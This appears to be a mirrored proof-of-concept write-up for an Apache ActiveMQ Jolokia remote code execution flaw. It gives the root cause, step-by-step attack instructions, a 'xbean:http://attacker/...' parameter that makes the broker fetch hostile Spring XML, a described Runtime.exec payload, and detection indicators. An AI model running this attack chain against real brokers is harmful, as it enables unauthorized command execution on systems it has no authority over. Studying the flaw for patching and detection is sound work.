Apache ActiveMQ Jolokia addNetworkConnector Spring Bean RCE (CVE-2026-42588)

Metadata

Affected Target

Summary

CVE-2026-42588 is a code injection / improper input validation vulnerability in Apache ActiveMQ’s Jolokia JMX-HTTP bridge. An attacker able to reach the addNetworkConnector MBean operation via Jolokia can supply a crafted broker configuration URI (xbean: scheme) pointing at an attacker-controlled Spring XML bean definition file. Because Spring’s ResourceXmlApplicationContext instantiates all singleton beans defined in that XML before the broker validates the configuration, a bean definition using MethodInvokingFactoryBean can call Runtime.getRuntime().exec() directly, achieving remote code execution on the broker’s JVM. This PoC is the classic exploitation gadget: a self-contained Spring XML file defining two MethodInvokingFactoryBean beans that chain Runtime.getRuntime() and Runtime.exec() to run an OS command.

Vulnerability Details

Root Cause

ActiveMQ’s Jolokia-exposed addNetworkConnector(String) broker management operation accepts a brokerConfig=xbean:<url> parameter. The xbean: scheme causes ActiveMQ’s BrokerFactory.createBroker() to hand the referenced URL to Spring’s ResourceXmlApplicationContext, which eagerly instantiates every bean defined in the XML — including MethodInvokingFactoryBean beans whose targetClass/targetMethod/arguments properties can invoke arbitrary static or instance methods, such as Runtime.exec().

Attack Vector

1. Attacker obtains (or brute-forces / uses default) credentials for the ActiveMQ web console / Jolokia endpoint at /api/jolokia/.
2. Attacker hosts a malicious Spring XML file (this PoC’s CVE-2026-42588_poc.xml) on a server they control, or otherwise makes it reachable by URL/path.
3. Attacker calls the broker’s addNetworkConnector MBean operation via Jolokia with a brokerConfig=xbean:http://attacker/CVE-2026-42588_poc.xml-style parameter.
4. ActiveMQ’s VM transport layer creates an embedded broker via BrokerFactory.createBroker(), which loads the XML through Spring’s ResourceXmlApplicationContext and instantiates the two chained MethodInvokingFactoryBean beans, executing the attacker’s OS command before the broker performs any configuration validation.

Impact

Remote code execution as the ActiveMQ broker process user, for any attacker who can reach the Jolokia management API with valid (including default) credentials.

Environment / Lab Setup

Target:   Apache ActiveMQ Broker/All < 5.19.7, or 6.0.0-6.2.6, with Jolokia web console exposed
Attacker: Any HTTP client capable of calling the Jolokia REST API, plus a way to host/reference this XML file

Proof of Concept

PoC Script

See CVE-2026-42588_poc.xml in this folder.

The XML defines a runtime bean (Runtime.getRuntime()) and an exec bean that invokes runtime.exec("/bin/sh -c \"touch /tmp/activemq_pwned\"") — when Spring instantiates these beans, the marker file /tmp/activemq_pwned is created on the broker host, confirming code execution.

Detection & Indicators of Compromise

Signs of compromise:

• Unexpected outbound HTTP requests from the ActiveMQ host fetching remote XML files
• Runtime.exec/child process spawned by the ActiveMQ Java process with no corresponding legitimate broker operation
• Presence of marker/artifact files (e.g. /tmp/activemq_pwned in this PoC) or unexplained files created by the broker process

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/gentleman567/POC on 2026-07-05.